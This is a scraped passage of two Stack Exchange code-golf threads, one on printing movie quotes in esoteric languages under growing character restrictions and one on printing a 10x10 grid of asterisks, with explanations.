DSGRjkmCdGJC96P:Sj4142h118J:Sj9927h112J:Sjt11641t112J:Sj11154t115J:SjxT14142t122J:Sj4128h125J:Sj11154t115J:Sj4128h125J:Sj11196t112J:Sjt14254t122J:Sj12195t112J:Sj12752t114J:Sj5248h111J:Sj4142h118J:Sj4128h125J:Sj5181h112J:Sj4128h125J:Sj9116t111J:Sj12528h111J:Sj14126h121J:Sj11154t115J:Sj4128h125J:Sj8566t111J:Sj12528h111J:Sj11976t111J:Sj11646t111J:Sj12416h111J:Sj11711t116JJ ``` Output is quote 62: ``` "What a dump." - Rosa Moline ``` Uses the characters `12456789:CDGJPRSTdhjkmtx`. Previously forbidden: `z" &'()*+,-./03;<=>@X[\]psy{` It's based on a series of regex substitutions - `:` in pyth, each replacing `, the backtick character, with a two character string containing a new character followed by a backtick. The substitutions are all applied to an original string of just ` (J). The two letter strings are generated by using the base changing function, `j`, on a number and a base to generate an list entry of numbers, which are then ASCII encoded into a 2 character string by the newly defined `S` function. Explanation: ``` DSGRjkmCdG define S, which makes a string out of a list of ASCII numbers JC96 J = "`" P print all but the last character of :Sj4142h118J "` <- ` :Sj9927h112J W` <- ` :Sjt11641t112J h` <- ` :Sj11154t115J a` <- ` :SjxT14142t122J t` <- ` :Sj4128h125J ` <- ` :Sj11154t115J a` <- ` :Sj4128h125J ` <- ` :Sj11196t112J d` <- ` :Sjt14254t122J u` <- ` :Sj12195t112J m` <- ` :Sj12752t114J p` <- ` :Sj5248h111J .` <- ` :Sj4142h118J "` <- ` :Sj4128h125J ` <- ` :Sj5181h112J -` <- ` :Sj4128h125J ` <- ` :Sj9116t111J R` <- ` :Sj12528h111J o` <- ` :Sj14126h121J s` <- ` :Sj11154t115J a` <- ` :Sj4128h125J ` <- ` :Sj8566t111J M` <- ` :Sj12528h111J o` <- ` :Sj11976t111J l` <- ` :Sj11646t111J i` <- ` :Sj12416h111J n` <- ` :Sj11711t116J e` <- ` J Starting with ` ``` [Answer] # 60. Forth (uses no `^`) (There are 54 new lines and 51 tabs.) ``` 116 114 115 HEx 22 EMIT 41 EMIT SPACE 62 EMIT 6F EMIT DECIMAL 121 EMIT 81 42 MOD EMIT DUP EMIT SPACE 98 EMIT HEx 65 EMIT DUP EMIT 2 PICK EMIT SPACE 66 EMIT OVER EMIT 69 EMIT 65 EMIT 6E EMIT 64 EMIT SPACE 69 EMIT DUP EMIT SPACE 68 EMIT 69 EMIT DUP EMIT SPACE 6D EMIT 6F EMIT 2 PICK EMIT 68 EMIT 65 EMIT OVER EMIT 2E EMIT 22 EMIT SPACE 2D EMIT SPACE 4E EMIT 6F EMIT OVER EMIT 6D EMIT 61 EMIT 6E EMIT SPACE 42 EMIT 61 EMIT 2 PICK EMIT 65 EMIT DUP EMIT BYE ``` Output is quote 56: ``` "A boy's best friend is his mother." - Norman Bates ``` [Previously forbidden](https://codegolf.stackexchange.com/a/40771/32353): `"'&()*+-,./\037;<=>@X_[sovy pez]{}` [Answer] # 59. Applesoft BASIC, uses no `~` (Uses 11 newlines) ``` 1HOME:PRINT:PRINT:CALL2111:END 2REMWARNING!ABUSEOFLANGUAGEBELOW!!!!!! 4VTAB#PR#STOREONERREEEDELEIEIADELFPR#RETURNEDELGEGIENDDELHEHITANDELIDEFP!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 5VTABLPR#EGHGREGRVTABLPR#EGHGREGRVTABAPR#EGHGREGRVTABHPR#EHHGREGRGRDEFP!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 6VTABEPR#EGHGREGRVTABIPR#EGHGREGRVTABNPR#EGHGREGRVTABNPR#EGHGREGRDEFP!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 8VTABAPR#EHHGREGRGRVTABMPR#EIHGREGRGRVTABBPR#EIHGREGRVTABNPR#EIHGREGRDEFP!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 9VTABAPR#EGHGREGRVTABDPR#EGHGREGRVTABMPR#EIHGREGRVTABEPR#EGHGREGRDEFP!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 11VTABEPR#EGHGREGRVTABDPR#EGHGREGRVTABMPR#EIHGREGRVTABAPR#EGHGREGRDEFP!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 12VTABLPR#EGHGREGRGRVTABLPR#EIHGREGRVTABAPR#EGHGREGRVTABDPR#EGHGREGRDEFP!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 14VTABMPR#EIHGREGRVTABEPR#EGHGREGRVTABEPR#EGHGREGRVTABDPR#EGHGREGRDEFP!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 15VTABMPR#EIHGREGRVTABAPR#EGHGREGRVTABLPR#EHHGREGRVTABBPR#EIHGRE` ``` Output is quote 55: "La-dee-da, la-dee-da." - Annie Hall [Previously forbidden:](https://codegolf.stackexchange.com/a/40775/32522) `"'&()*+-,./\037;<=>@X_[sovy pez]^{}` Runs on an Apple //e (or emulator). Short explanation: After clearing the screen, the "CALL 2111" jumps to the embedded 6502 machine code in lines 4-15, which writes each character directly onto the text page. Details: * Line 1: Clear screen, print 2 newlines so command prompt doesn't overwrite quote, call embedded machine code that begins at Line 4, and exit. * Line 2: Applesoft programs are normally stored starting at address 0x0801 (2049), but I have to add padding here to make embedded machine code start at 0x83F (2111) since '0' is a forbidden character. * Lines 4-15: Machine code can consist only of bytes that are printable ASCII. Tokenizer will convert reserved words to single bytes that are encoded with MSB set (e.g. "VTAB"=0xA2) but it will convert lower case to upper. Disassembly: ``` ; Body of line 4: set up zero-page constants and index ; Y = offset from start of text page to current character ; Quote drawn right-to-left; start at offset 35 (0x23) 083F- A2 23 LDX #$23 0841- 8A TXA 0842- A8 TAY ; Z-page 0x45-0x46 points to start of text page (0x0400) 0843- A5 45 LDA $45 0845- 45 45 EOR $45 0847- 85 45 STA $45 0849- 49 45 EOR #$45 084B- 49 41 EOR #$41 084D- 85 46 STA $46 ; This TXA effectively a no-op to prevent incorrect tokenization ; ("FRETURN" would get tokenized as "FRE TURN", not the desired "F RETURN") 084F- 8A TXA ; All characters stored as uppercase ASCII. To display correctly, MSB ; must be set, so uppercase is XORed with 0x80. To transform to lowercase, ; XOR with 0xA0; To transform to symbol, XOR with 0xE0. ; ; Store constant 0xA0 at memory 0x47 (loading A from somewhere on text ; page which had just been cleared to all 0xA0) 0850- B1 45 LDA ($45),Y 0852- 85 47 STA $47 ; Store constant 0x80 at memory 0x48 0854- 45 47 EOR $47 0856- 49 80 EOR #$80 0858- 85 48 STA $48 ; Store constant 0xE0 at memory 0x49 085A- 45 48 EOR $48 085C- 49 E0 EOR #$E0 085E- 85 49 STA $49 ; Embedded code too big to fit on one line (~255 char input limit) so must ; jump to body of next line. But smallest offset that can be encoded is ; 0x21 (ASCII '!') so do that and pad out rest of line with more '!' 0860- B8 CLV 0861- 50 21 BVC $0884 ; Body of line 5: draw last 4 characters (right-to-left) ; A = 0x4C (ASCII 'L') 0884- A2 4C LDX #$4C 0886- 8A TXA ; XOR with constant 0xA0 stored at 0x47, which shows up as 'l' 0887- 45 47 EOR $47 ; Write to text page (0x400 + 0x23) 0889- 91 45 STA ($45),Y ; Move 1 char to the left 088B- 88 DEY ; Next char'l', same process (could optimize here) 088C- A2 4C LDX #$4C 088E- 8A TXA 088F- 45 47 EOR $47 0891- 91 45 STA ($45),Y 0893- 88 DEY ; Next char 'a' 0894- A2 41 LDX #$41 0896- 8A TXA 0897- 45 47 EOR $47 0899- 91 45 STA ($45),Y 089B- 88 DEY ; Next char 'H' 089C- A2 48 LDX #$48 089E- 8A TXA 089F- 45 48 EOR $48 08A1- 91 45 STA ($45),Y 08A3- 88 DEY ; Decrement index an extra time since next char is a space 08A4- 88 DEY ; Jump to body of next line after padding 08A5- B8 CLV 08A6- 50 21 BVC $08C9 ; ... Lines 6-14 similar ... ; Body of line 15 ; '-' 0A64- A2 4D LDX #$4D 0A66- 8A TXA 0A67- 45 49 EOR $49 0A69- 91 45 STA ($45),Y 0A6B- 88 DEY ; 'a' 0A6C- A2 41 LDX #$41 0A6E- 8A TXA 0A6F- 45 47 EOR $47 0A71- 91 45 STA ($45),Y 0A73- 88 DEY ; 'L' 0A74- A2 4C LDX #$4C 0A76- 8A TXA 0A77- 45 48 EOR $48 0A79- 91 45 STA ($45),Y 0A7B- 88 DEY ; '"' 0A7C- A2 42 LDX #$42 0A7E- 8A TXA 0A7F- 45 49 EOR $49 0A81- 91 45 STA ($45),Y ; Return from CALL 0A83- 60 RTS ``` Machine code could certainly be optimized, but some quirks are due to encoding restrictions, for example: * Phrase is drawn right-to-left since decrementing Y is easier to encode that incrementing Y. * Lots of "LDX imm ; TXA" sequences because the opcode for "LDA imm" (0xA9) maps to the reserved word "COLOR=" which contains illegal char '='. [Answer] # 1. [Progressive Unary](https://esolangs.org/wiki/Unary#Progressive_Unary) (uses no `4`) The program consists of exactly 2130691772666389774389011818129432977526724054595685774072956807220340187754304344216170850474741825084738264024483125639102366732655921717750240644490284886585962997427932957194151233773238138826867657234233319542153892729223723713050148830827990932577158473558351770035220237198845372011140540236617061039134694993085927484693315515564905404685624754504677002990899546806981073411560009765942646584748262443625075334590374146800896620084838828846593051116848347417777214960627252153699850863043331541162486725625476864531564012190733203044734594521962297876104066432536535668411493346287828832810901078480818727197899744852589810133773624066622420226015624219902142535668225959682605837151376445379519636 `8`s (2.13 × 10705 bytes): ``` 88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888… ``` Output is quote 32: ``` "Round up the usual suspects." - Capt. Louis Renault ``` [Previously forbidden](https://codegolf.stackexchange.com/a/124753/32353): ``` ?!"#$%&'()*+,-./01235679:;<=>@[\]^_` aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ{|}~ ``` Remaining characters: `8` --- **Progressive Unary** is a variant of Unary proposed by esolangs user Quintopia [on 2010 Sept 3rd](https://esolangs.org/w/index.php?title=Unary&diff=prev&oldid=18704). Unlike Unary which only permits the character `0`, Progressive Unary *requires* arbitrary character used as its "one" character, as long as it is distinct from other programs on the same tape. The point of the requirement was to effectively find the length of the program in O(log n) steps on the random-access tape. So it is equivalent to [Lenguage](https://esolangs.org/wiki/Lenguage), except it is *not* designed for this challenge, loopholing around the loophole (it also uses a different encoding than Lenguage). --- The [equivalent brainfuck program](https://tio.run/##jZLRCsMwCEXf@yvBfEHJj4w9tIPBGOyhsO/P6rTuatJ2PonJvR5N5mV6vO7v27PWkjguNCaJch0pD1KFMte3slXlruR5IAlLvnlJFqtMy6uOBXAWCDa3HT0BTE@OCAp0QHIKwiPC7AYAIu/xv796G2TAVqlKlOdwFGocsHe4QM2L7j1zsGGjZmyHEhp1OvmvFgh6tMjQ7rS78PiWrhf@3tPV@JF@slzrBw) is: ``` >+++++[-<+++++++>]<-. >++++++[-<++++++++>]<. >+++++[-<++++++>]<-. ++++++. -------. ----------. >++++++++++[-<------->]<++. >++++++++++++[-<+++++++>]<+. -----. >++++++++++[-<-------->]<. >++++++++++++[-<+++++++>]<. ------------. ---. >++++++++++[-<------->]<+. >++++++++++++[-<+++++++>]<+. --. ++. >+++++[-<---->]<. +++++++++++. >+++++++++++[-<------->]<+. >++++++++++++[-<+++++++>]<-. ++. --. ---. -----------. --. >++++[-<++++>]<+. -. >++++++++++[-<------->]<+. ------------. --. +++++++++++++. -------------. >+++++[-<+++++++>]<. >+++++[-<++++++>]<. +++++++++++++++. ++++. >++++++++++[-<------->]<. --------------. >+++++[-<+++++++++>]<-. >+++++[-<+++++++>]<. ++++++. ------------. ++++++++++. >++++++++++++[-<------->]<+. >+++++++[-<+++++++>]<+. >+++++[-<++++>]<-. +++++++++. -------------. >+++++[-<++++>]<. ---------. ++++++++. ``` Python 3 generator: ``` # Cost of factorization of N to A*B+C is "7+A+B+|C|" # # {#, Minimize[{7 + a + b + Abs[c], # == a b + c && a > 0 && b > 0}, {a, b, c}, Integers]} & /@ {17, 19, 20, 29, 30, 34, 35, 44, 48, 50, 68, 69, 70, 76, 80, 83, 84, 85} BF_FACTORIZATIONS = { 17: (4, 4, 1), 19: (5, 4, -1), 20: (5, 4, 0), 29: (5, 6, -1), 30: (5, 6, 0), 34: (5, 7, -1), 35: (5, 7, 0), 44: (5, 9, -1), 48: (6, 8, 0), 50: (7, 7, 1), 68: (10, 7, -2), 69: (10, 7, -1), 70: (10, 7, 0), 76: (11, 7, -1), 80: (10, 8, 0), 83: (12, 7, -1), 84: (12, 7, 0), 85: (12, 7, 1), } BF_DELTA_CONSTS = {0: ''} for i in range(16): BF_DELTA_CONSTS[i] = '+'*i BF_DELTA_CONSTS[-i] = '-'*i for n, (a, b, c) in BF_FACTORIZATIONS.items(): BF_DELTA_CONSTS[n] = '>' + '+'*a + '[-<' + '+'*b + '>]<' + BF_DELTA_CONSTS[c] BF_DELTA_CONSTS[-n] = '>' + '+'*a + '[-<' + '-'*b + '>]<' + BF_DELTA_CONSTS[-c] bf = '' init = 0 for c in map(ord, '"Round up the usual suspects." - Capt. Louis Renault'): (delta, init) = (c - init, c) bf += BF_DELTA_CONSTS[delta] bf += '.\n' num = '1' + bf.translate({ ord('>'): '0', ord('<'): '1', ord('+'): '2', ord('-'): '3', ord('.'): '4', ord(','): '5', ord('['): '6', ord(']'): '7', ord('\n'): '', }) print(bf) print(int(num, 8)) ``` [Answer] # 41. [ADJUST](http://esolangs.org/wiki/ADJUST) (uses no `L`) (There must not be any trailing new lines) ``` ````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````K`8``8``F``RK`````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````` ```````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````n``````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````` ````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````K`F`````8````F````F```RF``K````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````K`F``RF```8````F````RK```````````````````````````````````````````````````````K`RF``````F`````F````RF```F``RK```````````````A```````````````K`AF``RF`RF``8```K``````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````` ```````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````n``````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````n````````````````````````````````````````````````````````````````````````````n``````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````` ````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````K`AF````F```8``RF``RK```````````````````````````````````````````````````````````K`RF`````F````F```RF``F`FK```````````````````A````````````````````````K`A8``F``F```RF````RK```````````````````````````````A`````````````````````````````````K`AtF``8```tK````````````````````````````````````K`AF````tF```8````RK`````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````` `````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````K`````````````````````````````````````````````````````````````````````````````````````````````````````````````n``````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````` `````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````n````````````````````````````````````````````````````K`AtF``F```F````RF`````RK```````````````````````````````A````````````````````````````K`AF``F`F``8```tK````````````````````````````````````````````````K`A8``````F``````F`````8````K`````````````````````````````````````````````````````````````````````````````````````````````````````````K`ARF`````tF``````RF`````RK`````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````` `````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````n````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````` ``````````````````````````````````````````````````````````K`RF```F``RF```RF````RK````````````````````````````````````````````````````````````````````````````````````````A``````````````````````````````````````````````````````````````````````````````K`AF`````tF``````F`````8````K`````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````K`ARF`````8````RF````RK``````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````K`F``F```F````8`````F`````RK```````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````` `````````````````````````````````````````````````````````n````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````n```````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````C ````````````K`RF`F``8```RF```K``````````````````````````A`````````````````````````K`AF````tF`````tF``````RK`````````````````````````````K`F`````RF``````tF```````tK``````K````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````K`AF````F```RF````tF```RK```````````````````````````````````````````````````K`8```F```RF````RF```K``````````````````````````````````K`tF```8``F``RK```````````````````````````K`F````8```RF```F``RK````````````````````````````A``````````````````````````````K`AF```8````tF````RK```````````````````````````````````````````````````K`F``F```F````F`````8``````RK`````````````````````````````````````````````````````````K`8``````F``````RF`````tK```````````A` ```````````n```````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````n`````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````n```````````````````````````````````````````````````````n`````````````````````````````````````````n``````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````n`````````````````````````````````````````````````````````````````````````````````````n`````````````````````````````````````` ``````````A````````````````````K`A8```F```tF````F`````K`````````````````````````````````````````````````````K`A8````F````tF```RK``````n`````````````````````````````K`AK````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````K`ARF`````8````8````K```````````````````````````A````````````````````````K`AF`````F````8```RF```RK``````n`````````````````K`ARF``8```RF```RK``````n```````````````````````K`AF``F`F``F```8````F````K`````````````````````````````````````````````````````K`ARF````F```8``F``RK```````````````````````````A```````````````````````````````K`ARF`````tF````8`````K```````````````````````````````A```````````````````````````K`Ai```````` ``````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````` K`8F8`F`K````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````K`AK`````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````K`AF```F````8`````8`````K````````````````````````````````````````````````````K`AK``````````````````````````````````````K`AK``````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````K`AF``F`F``8```F```F````K`````````````````````````````````````````````````````````K`A8``````F``````F`````8````K````````````````````````````````````````` ``` Output is quote 50: ``` "Houston, we have a problem." - Jim Lovell ``` [Previously forbidden](https://codegolf.stackexchange.com/a/41635/32353): `"#$&'()*+,-./01357:;<=>@[\]^_ BdeEghJNopQksvWxXyz{|}~` Remaining characters: * Symbols: `!` `%` `?` ``` * Numbers: `2` `46` `89` * Uppercase: `A` `CD` `FGHI` `K` `M` `OP` `RSTUV` `YZ` * Lowercase: `abc` `f` `ij` `lmn` `qr` `tu` `w` --- ADJUST is a 2D language with 1 register and 2 stacks. The code pointer starts from the lower-left corner, then walks in the northeast direction. Instructions are based on the prime factorization of the current character code, e.g. `Z` = 90 = 5×3×3×2, so the character `Z` will perform the action "5" once, "3" twice, and then "2" once. This allows us to have several ways to perform one function and avoid the forbidden characters. The basic idea of the program is: 1. perform enough "5" (flip last bit) and "2" (rotate right by 3 bits) to make the accumulator contain the correct ASCII code to print 2. perform "3" (push to lighter stack and do a complicated turn) until stack #2 contains the accumulator 3. perform "13" (pop stack 2 and print) to print that code 4. because "3" will turn the code pointer in some complicated way, if we don't go forward horizontally we will easily break the 64-new-lines limit. So we need to do more "3"s until the direction is correct. In step 1 we will use these letters to provide the 2 and 5's: * `F` (7×5×2) * `R` (41×2) * `t` (29×2×2) * `8` (7×2×2×2) There are some 7, 29, 41 but these won't affect the final result. In step 2 we will use `K` (5×5×3) to provide a "3". Note that a pair of "5" is no-op. In step 3 we choose `A` (13×5). In step 4 we will use `n` (11×5×2) to control the stack size and `K` to adjust the direction. Generally, if step 1 does not contain any `R`, we use `KAnK` to print the character and move up by 4 lines. Otherwise, we use `KKA` to print and move down by 2 lines. Occasionally there is also a `KnnK` to forcefully move up by 4 lines, as the starting point must be at the lower-left corner. If anyone is interested, [here is a working environment](https://gist.github.com/kennytm/9b884f187fe7621431b8) to produce the code above. There is no automated generator. ]
[Question] [ # Background This is a standard textbook example to demonstrate for loops. This is one of the first programs I learnt when I started learning programming ~10 years ago. # Task You are to print this exact text: ``` ********** ********** ********** ********** ********** ********** ********** ********** ********** ********** ``` # Specs * You may have extra trailing newlines. * You may have extra trailing spaces (U+0020) at the end of each line, including the extra trailing newlines. # Scoring This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"). Shortest answer in bytes wins. [Answer] # [Brainfuck](http://esolangs.org/wiki/Brainfuck), 47 bytes ``` ++++++++++[->++++>+>+<<<]>++>[-<..........>>.<] ``` [Try it online!](http://brainfuck.tryitonline.net/#code=KysrKysrKysrK1stPisrKys-Kz4rPDw8XT4rKz5bLTwuLi4uLi4uLi4uPj4uPF0&input=) ``` ++++++++++[->++++>+>+<<<] set the tape to 40 10 10 >++> set the tape to 42 10 10 [-<..........>>.<] come on ``` [Answer] # C (gcc), 41 39 bytes ``` main(i){for(;++i<puts("**********"););} ``` [Answer] ## Bash + coreutils, 19 bytes I prefer to repeat stuff in Bash using 'yes'. ``` yes **********|head ``` I saved 2 bytes by @Neil's suggestion. But when the directory where you are running this command does not only contain files starting with a '.' dot you need to enclose the stars `*` with `"`. ## Bash + coreutils, 21 bytes ``` yes "**********"|head ``` [Answer] ## Vim, ~~13~~ 8 bytes Saved 5 bytes thanks to @Lynn ``` qqi*␛9.o␛q9@q ``` ``` 10i*␛Y9p ``` `10i*␛` insert 10 times `*`, and `Y9p` copy the line and paste it 9 times. [Answer] # Pyth, 6 bytes ``` VT*T\* ``` `T` is 10 in Pyth, `Vab` executes statement `b` `a` times, `\*` is the asterisk character constant, and multiplying (`*`) a string and an integer repeats that string n times. Pyth's implicit printing with `V` means 10 lines are printed. [Answer] ## Hexagony, ~~37~~ ~~35~~ ~~34~~ 31 ``` 10"+}(=${";<$<1}42/.0@_=<>\;>(_ ``` Expanded: ``` 1 0 " + } ( = $ { " ; < $ < 1 } 4 2 / . 0 @ _ = < > \ ; > ( _ . . . . . . ``` [Try it online](http://hexagony.tryitonline.net/#code=MTAiK30oPSR7Ijs8JDwxfTQyLy4wQF89PD5cOz4oXw&input=) Basically just has two for loops counting down from ten to zero, printing out an asterisk on the inner loop, and a newline on the outer loop. ### Explanation: This program consists of three main parts: initialisation of memory, a loop which prints ten asterisks and a loop which prints a newline. The loop which prints a newline also contains the loop which prints the asterisks. First, the code runs the totally linear memory initialisation. The code works out to be: `10"+}42`. This sets the memory of the nearby edges to look like: ``` 10 \ / 10 | 42 ``` 42 is the ASCII code for the asterisk character, and the two tens will be used as our loop counters. Of note is that the memory pointer is currently pointing away from the two tens, so moving backwards will put us on one of the tens. Next, we start the astersisk printing loop. Linearly, the code looks like: `;".._(`. This prints out an asterisk, moves the memory pointer backwards and to the left and finally decrements the value there. After one iteration, the memory would look like: ``` 10 \ / 9 | 42 ``` Then we hit the loop condition: the bottom-leftmost `>`. If the edge we just decremented is still positive we bounce around and execute a `{` to move us back onto the 42. Then we hit a `$` and return to the beginning of the printing loop, the `;`, by skipping the `<`. If the value was zero, we head into the other loop. The outer loop begins by resetting the recently zeroed memory edge to ten (this is the `10` in the code, going southwest). Then, we print out this ten as an ASCII character, which is a newline. Next, we move onto the other memory edge and decrement it with `{(` and then execute what amounts to a bunch of noops: `=${_=`. Now, after one iteration of this loop, memory would look like: ``` 9 \ / 10 | 42 ``` This time, the memory is facing outwards from the edge storing a nine in the above diagram. Next we execute the `<` which acts as the loop condition for the outer loop. If the value was non-zero we bounce around off of some mirrors, then begin executing meaningful instructions again after entering the top of the hexagon at the `"` moving southwest. This causes us to move backwards and to the left, onto the 42 again, but facing inwards. Then the `=` flips our direction, resetting the state properly to begin the inner loop again. If the edge was set to zero, the instruction pointer goes on a little adventure which does nothing until it exits the program. The adventure begins by the instruction pointer venturing northeast, perilously disregarding the safety of the cardinal directions. It bravely ignores a mirror that is aligned with its diretion (`/`) and heroically leaps off of a trampoline (`$`) entirely evading the deadly trap of another, totally identical trampoline. Staring out at the emptiness of uninitialised hexagon edges, the pointer, without faltering for a moment, adds the two blank edges it faces together, setting the current edge to their sum: 0 (the edge was actually zero beforehand, but the pointer likes to believe this was pretty important). Since the edge is zero, the pointer makes a left turn at the fork in the road, walking into a mysterious forest (of hexagons). There, it finds itself disoriented, moving forwards and backwards and forwards, until it winds up at the same place in memory as it started. Thinking that the problem must be that the current edge was set to zero last time, the pointer bravely plants a `1` into the current edge. Then, the noble pointer investigates another path, one laid with... a trap! The current edge is decremented and set back to zero! The pointer, dazed by the shocking turn of events, stumbles back into the trap setting the current edge to negative one. Infuriated, the pointer attempts to return to the comparatively pleasant forest, only to notice that since the current edge is not positive, the paths have yet again shifted and the pointer finds itself walking into a cave. And by a cave, I mean the mouth of a giant hexagonal worm. Helpless, the pointer curses the sexinity with its dying breath. Also, the program ends. [Answer] ## Emacs, ~~10~~ 8 keystrokes `F3` `C-1` `0` `\*` `ENTER` `F4` `C-9` `F4` ### Explanation ``` F3 Starts a macro recording C-1 0 * Apply 10 times command '*': prints 10 asterix' ENTER Insert new line F4 Stops the macro record C-9 F4 Apply 9 times the macro ``` *Thanks to Sean for saving two keystrokes, suggesting to replace `C-u``digit` with `C-digit`.* [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 7 bytes ``` ”*x⁵Ṅ9¡ ``` What's going on? ``` ”*x⁵Ṅ9¡ - No arguments ”* - character literal, * x - multiply (dyadic operation) ⁵ - integer literal, 10 (we have now constructed the string '**********') Ṅ - Print & linefeed (monadic operation) 9 - integer literal, 9 ¡ - Repeat n times (n is 9 as the first Ṅ is not a repeat) ``` Test it on **[tryitonline](http://jelly.tryitonline.net/#code=4oCdKnjigbXhuYQ5wqE&input=)** [Answer] ## PowerShell, ~~14~~ 12 bytes ``` ,('*'*10)*10 ``` Constructs a string of asterisks of length `10` using string multiplication. Encapsulates that in parens and feeds that into the comma-operator to construct an array. We use array multiplication to construct a 10-element array consisting of that element (i.e., a 10-element array of asterisk strings). That's left on the pipeline, and output is implicit (since the default `Write-Output` for an array is newline-separated, we get that for free -- thanks to @Joey for the clarification). ### Older, 14 bytes ``` 